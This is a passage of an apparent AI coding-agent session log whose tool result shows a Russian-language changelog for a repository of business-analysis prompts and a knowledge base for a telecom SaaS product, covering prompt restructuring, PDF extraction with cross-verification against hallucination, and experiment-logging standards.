\"974d5dcb-e837-49ab-b380-9d6d3e1701e0\",\n[2026-09-29T07:46:34.125Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:46:34.128Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:46:34.134Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:46:34.140Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:46:34.143Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:46:34.164Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:46:34.171Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:46:34.180Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:46:34.187Z] [STDOUT]   },\n[2026-09-29T07:46:34.191Z] [STDOUT] }\n[2026-09-29T07:46:34.196Z] [INFO] {\n[2026-09-29T07:46:34.196Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:34.196Z] [INFO]   \"message\": {\n[2026-09-29T07:46:34.196Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:34.196Z] [INFO]     \"content\": [\n[2026-09-29T07:46:34.196Z] [INFO]       {\n[2026-09-29T07:46:34.196Z] [INFO]         \"tool_use_id\": \"toolu_01Px5oxRHHjcmhFhM6xWqKAS\",\n[2026-09-29T07:46:34.196Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:34.196Z] [INFO]         \"content\": \"- `README.md` (v2.1): \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0440\u0430\u0437\u0434\u0435\u043b \u00ab\u0421\u0442\u0440\u0430\u0442\u0435\u0433\u0438\u044f \u0438 \u0442\u0430\u043a\u0442\u0438\u043a\u0430\u00bb (\u0446\u0435\u043b\u044c \u2014\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u0411\u0410 Mango; \u0442\u0430\u043a\u0442\u0438\u043a\u0430 \u2014 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u043e\u0432 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432; \u0441\u0441\u044b\u043b\u043a\u0430\\n  \u043d\u0430 RFC), \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0451\u043d\u043d\u0430\u044f \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 frontmatter\\n  \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u043a 4 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044f\u043c, \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0430 \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f.\\n\\n### Changed \u2014 Issue #56 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u0435 draft-\u0444\u0430\u0439\u043b\u0430 \u043d\u0430 23 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439 \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n\\n- \u0424\u0430\u0439\u043b `prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md` (\u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0432 issue #54 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u044b\u0439\\n  draft) \u0440\u0430\u0437\u0431\u0438\u0442 \u043d\u0430 **23 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430** \u043f\u043e \u0441\u0445\u0435\u043c\u0435 `[\u0434\u043e\u043c\u0435\u043d]-[\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f]-[\u0440\u0435\u0436\u0438\u043c].md`\\n  (kebab-case). **18 \u043d\u043e\u0432\u044b\u0445** \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b \u0432 [`prompts/`](prompts/)\\n  (`status: draft`, `version: 0.1`); **5 legacy-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 PDF** \u0442\u0430\u043a\u0436\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u044b\\n  \u0432 [`prompts/`](prompts/) \u0441 \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c `-legacy` (`status: draft`, `version: 1.0`),\\n  \u0442\u0430\u043a \u043a\u0430\u043a \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f; **6 \u0441\u0442\u0430\u0440\u044b\u0445 canonical-\u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432** \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u044b \u0432\\n  [`prompts/archive/`](prompts/archive/) \u0441 \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c `-legacy` (`status: archived`,\\n  `version: 1.0`). \u0422\u0435\u043a\u0441\u0442 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d **\u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e** (\u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\\n  \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043f\u0440\u043e\u0442\u0438\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430); \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 frontmatter (`status`,\\n  `version`, `updated: 2026-06-11`, `temperature: 0.1`) \u0438 experimental marker \u0441\u0440\u0430\u0437\u0443\\n  \u043f\u043e\u0441\u043b\u0435 \u043d\u0435\u0433\u043e.\\n- **\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0438** \u0432\u0437\u044f\u0442\u044b \u0438\u0437 \u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u0438 13 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0411\u0410: `understanding`\\n  (\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442/\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u00a72, \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0449\u0438\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u00a79.1), `documentation` (\u0424\u0422 \u00a73.1,\\n  \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u00a74, \u0440\u0435\u0437\u044e\u043c\u0435 \u0432\u0441\u0442\u0440\u0435\u0447 \u00a77\u20138, \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0435 \u043f\u0438\u0441\u044c\u043c\u043e \u00a79.2), `validation`\\n  (\u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f \u0424\u0422 \u00a73.2), `solution-design` (\u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e-\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u00a75),\\n  `modeling` (User Story \u00a76.1, Use Case \u00a76.2), `ingestion` (\u043f\u043e\u0441\u0442-\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 ASR \u00a710).\\n- **\u0420\u0435\u0436\u0438\u043c\u044b.** \u0422\u043e\u043a\u0435\u043d\u044b `stepwise` (\u042d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u044b\u0439, \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u043e\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435) / `oneshot`\\n  (\u042d\u043a\u0441\u043f\u0440\u0435\u0441\u0441, one-shot) / `legacy` (\u0430\u0440\u0445\u0438\u0432\u043d\u044b\u0439) \u0432\u044b\u0431\u0440\u0430\u043d\u044b \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u043c\u0435\u0436\u0434\u0443\u043d\u0430\u0440\u043e\u0434\u043d\u043e\u0433\u043e\\n  \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f (\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043b \u00ab\u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0435\u0436\u0438\u043c \u043f\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00bb):\\n  `expert`/`express` \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0435\u0439, \u0430 \u00abexpert\u00bb \u043a\u043e\u043b\u043b\u0438\u0434\u0438\u0440\u0443\u0435\u0442\\n  \u0441 role-prompting-\u0438\u0434\u0438\u043e\u043c\u043e\u0439 \u00abact as an expert\u00bb; `stepwise` \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\\n  \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438 (`usecase-stepwise-generator-simple.md`) \u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430\u043c\u0438\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 (\u00ab\u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439\u00bb / \u00abone-shot\u00bb). \u041e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0438 \u0441\u0441\u044b\u043b\u043a\u0438 \u2014 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 PR #57.\\n- **Removed.** \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b `prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md` \u0443\u0434\u0430\u043b\u0451\u043d **\u0442\u043e\u043b\u044c\u043a\u043e\\n  \u043f\u043e\u0441\u043b\u0435** \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0438 \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e\u0439 \u0432\u0435\u0440\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u0441\u0435\u0445 23 \u0444\u0430\u0439\u043b\u043e\u0432; \u043e\u043f\u0443\u0441\u0442\u0435\u0432\u0448\u0438\u0439\\n  \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `prompts/drafts/` \u0443\u0434\u0430\u043b\u0451\u043d. \u0417\u0430\u043f\u0438\u0441\u044c CHANGELOG issue #54 \u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 draft\\n  \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u0430 \u043a\u0430\u043a \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0444\u0430\u043a\u0442 \u2014 \u0434\u0430\u043d\u043d\u044b\u0439 \u0448\u0430\u0433 \u0435\u0451 \u0441\u043e\u0437\u043d\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043c\u0435\u0449\u0430\u0435\u0442.\\n\\n### Added \u2014 Issue #54 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0432 `prompts/drafts/`\\n\\n- \u0421\u043e\u0437\u0434\u0430\u043d `prompts/drafts/\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).md` (\u043a\u0430\u0442\u0430\u043b\u043e\u0433 `prompts/drafts/` \u043f\u043e\u0437\u0436\u0435\\n  \u0440\u0430\u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d) \u2014 \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u044f\\n  \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a issue #54 (`\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf`, \u0421\u041f\u0418\u0421\u041e\u041a\\n  \u041f\u0420\u041e\u041c\u041f\u0422\u041e\u0412 \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0432 \u0422\u0435\u043b\u0435\u043a\u043e\u043c SaaS). \u041f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0443 issue \u00ab\u043e\u0434\u0438\u043d \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0451\u043d\u043d\u044b\u0439\\n  \u0444\u0430\u0439\u043b = \u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0438\u00bb PDF \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0451\u043d \u043a\u0430\u043a \u043e\u0434\u0438\u043d draft \u0431\u0435\u0437 \u0440\u0430\u0437\u0431\u0438\u0435\u043d\u0438\u044f \u043d\u0430\\n  \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b. \u0422\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d \u0438\u0437 PDF \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439; \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u044b\\n  \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 frontmatter (`status: draft`, `version: 0.1`, `updated: 2026-06-10`,\\n  `temperature: 0.1`) \u0438 experimental marker ``.\\n- \u0414\u043b\u044f draft-\u0444\u0430\u0439\u043b\u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f issue `prompt:review` (labels `prompt:review`, `draft`).\\n  \u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0439\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u043c: \u0443 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u043d\u0435\u0442 \u043f\u0440\u0430\u0432 `triage`/`push` \u043d\u0430\\n  upstream \u0434\u043b\u044f \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f labels (\u0437\u0430\u0433\u043e\u0442\u043e\u0432\u043a\u0430 issue \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u0430 \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 PR).\\n\\n### Changed \u2014 Issue #48 \u043e\u0431\u043e\u0433\u0430\u0449\u0435\u043d\u0438\u0435 `AI_SESSION_HANDOVER_PROMPT.md` (\u0440\u043e\u043b\u044c \u0447\u043b\u0435\u043d\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432)\\n\\n### Added \u2014 Issue #310 \u0447\u0435\u0442\u044b\u0440\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0432 \u0411\u0417 \u0438 \u0437\u0430\u0449\u0438\u0442\u0430 \u043e\u0442 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439\\n\\n- \u041a\u0430\u0436\u0434\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 PDF \u0437\u0430\u0434\u0430\u0447\u0438 \u0438\u0437\u0432\u043b\u0435\u0447\u0451\u043d \u0432 **\u0441\u0432\u043e\u0439** \u0440\u0430\u0437\u0434\u0435\u043b \u0411\u0417 (\u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b = \u043e\u0434\u043d\u0430\\n  \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0441\u0435\u043a\u0446\u0438\u044f), \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u043c `scripts/kb/process_sources.py`:\\n  | \u0420\u0430\u0437\u0434\u0435\u043b \u0411\u0417 | \u041a\u043e\u0434 | \u0421\u0442\u0440. | \u0420\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | \u0422\u043e\u043a\u0435\u043d\u043e\u0432 | \u0414\u043e\u0432\u0435\u0440\u0438\u0435 |\\n  | --- | --- | ---: | ---: | ---: | --- |\\n  | [`kb/processed/vpbx-api/`](kb/processed/vpbx-api/index.md) | VPBXAPI | 367 | 255 | 261672 | requires_review |\\n  | [`kb/processed/rolevaya-model-vats/`](kb/processed/rolevaya-model-vats/index.md) | ROLES | 59 | 65 | 45383 | high |\\n  | [`kb/processed/integration-1c/`](kb/processed/integration-1c/index.md) | INT1C | 46 | 8 | 22181 | high |\\n  | [`kb/processed/lk-vats-sso/`](kb/processed/lk-vats-sso/index.md) | LKSSO | 22 | 10 | 10072 | high |\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c **\u043f\u0435\u0440\u0435\u043a\u0440\u0451\u0441\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445**\\n  [`scripts/kb/verify_extraction.py`](scripts/kb/verify_extraction.py): \u0442\u0435 \u0436\u0435\\n  \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0435\u0440\u0435\u0447\u0438\u0442\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0442\u043e\u0440\u044b\u043c \u0434\u0432\u0438\u0436\u043a\u043e\u043c (PyMuPDF) \u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0442\u043e\u043a\u0435\u043d\u044b\\n  (URL, \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u044b, \u0447\u0438\u0441\u043b\u043e\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0442\u0435\u0440\u043c\u0438\u043d\u044b) \u0441\u0432\u0435\u0440\u044f\u044e\u0442\u0441\u044f \u0441\\n  \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435\u043c pdfplumber. \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e 9531 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0442\u043e\u043a\u0435\u043d, \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0445 \u2014\\n  0. \u0418\u0442\u043e\u0433 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u043c\u0443 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0443 \u2014 \u0432 `kb/processed//verification.md` \u0438 \u0432\\n  \u0431\u043b\u043e\u043a\u0435 `verification` \u0444\u0430\u0439\u043b\u0430 `meta.json`.\\n- \u041d\u0435\u043e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u044b\u0435 \u043c\u0435\u0441\u0442\u0430 **\u043d\u0435 \u0434\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u044e\u0442\u0441\u044f**, \u0430 \u0440\u0430\u0437\u043c\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u043c \u0441 \u0442\u043e\u0447\u043d\u043e\u0439\\n  \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u00ab\u0438\u043c\u044f PDF + \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430\u00bb:\\n  `> \u26a0\ufe0f **\u041f\u0420\u041e\u0411\u0415\u041b \u0418\u0417\u0412\u041b\u0415\u0427\u0415\u041d\u0418\u042f**: \u2026 (\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: \\\\`<\u0444\u0430\u0439\u043b>.pdf\\\\`, \u0441\u0442\u0440. N)`.\\n  \u0412 VPBX API \u0442\u0430\u043a \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b 4 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0431\u0435\u0437 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043b\u043e\u044f (35, 47, 52, 54) \u2014\\n  \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0434\u043e\u0432\u0435\u0440\u0438\u044f \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 `requires_review`.\\n- `index.md` \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043d\u0435\u0441\u0451\u0442 frontmatter \u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438:\\n  `source_document`, `extraction_date`, `model_used`, `confidence_level`,\\n  `pages_covered`.\\n- Negative-\u0442\u0435\u0441\u0442\\n  [`experiments/kb-verify-detects-hallucination.py`](experiments/kb-verify-detects-hallucination.py)\\n  \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u00ab0 \u043d\u0430\u0445\u043e\u0434\u043e\u043a\u00bb \u2014 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043d\u0438\u0435 \u0434\u0435\u0442\u0435\u043a\u0442\u043e\u0440\u0430: \u0432 \u043a\u043e\u043f\u0438\u044e \u0440\u0430\u0437\u0434\u0435\u043b\u0430\\n  \u043f\u043e\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u044b\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440, URL, \u043b\u0438\u043c\u0438\u0442 \u0438 \u0438\u043c\u044f \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0438, \u0438 \u0432\u0441\u0435 \u0447\u0435\u0442\u044b\u0440\u0435\\n  \u043f\u043e\u043c\u0435\u0447\u0430\u044e\u0442\u0441\u044f, \u0430 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u2014 \u043d\u0435\u0442.\\n\\n### Removed \u2014 Issue #310 \u0443\u0441\u0442\u0430\u0440\u0435\u0432\u0448\u0438\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `contact-center-manual-sample`\\n\\n- \u0423\u0434\u0430\u043b\u0451\u043d `kb/processed/contact-center-manual-sample` \u2014 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439\\n  \u0444\u0438\u043a\u0441\u0442\u0443\u0440\u044b, \u0430 \u043d\u0435 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430; \u0432 \u0411\u0417 \u0435\u043c\u0443 \u043d\u0435 \u043c\u0435\u0441\u0442\u043e. \u0421\u0442\u0435\u043d\u0434 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430\\n### Added \u2014 Issue #101 \u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432\\n\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0411\u0410\\n  [`docs/analysis/experiment-1027-analysis.md`](docs/analysis/experiment-1027-analysis.md):\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e 4 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c \u0411\u0410 \u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438 \u0438\u0437 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b, **\u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f** \u043f\u0440\u0430\u0432\u043e\u043a\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (P1\u2013P5) \u043a\u0430\u043a \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u044b \u0432 RFC \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 (\u0431\u0435\u0437 \u0435\u0451\\n  \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f). \u0421\u0430\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0432 \u044d\u0442\u043e\u043c PR **\u043d\u0435 \u043c\u0435\u043d\u044f\u044e\u0442\u0441\u044f** \u2014 \u043f\u0440\u0430\u0432\u043a\u0438 \u0432\u044b\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u043e\u0442\u043b\u0430\u0434\u043a\u0438 (\u0441\u043c. \u043d\u0438\u0436\u0435).\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1)\\n  [`standards/experiment-log-standard.md`](standards/experiment-log-standard.md):\\n  \u0434\u0432\u0430 \u0443\u0440\u043e\u0432\u043d\u044f \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 (GitHub Issue / \u043b\u0451\u0433\u043a\u0438\u0439 Markdown) \u0438 \u044f\u0434\u0440\u043e \u0438\u0437 6 \u043c\u0435\u0442\u0440\u0438\u043a.\\n- \u0414\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u043e 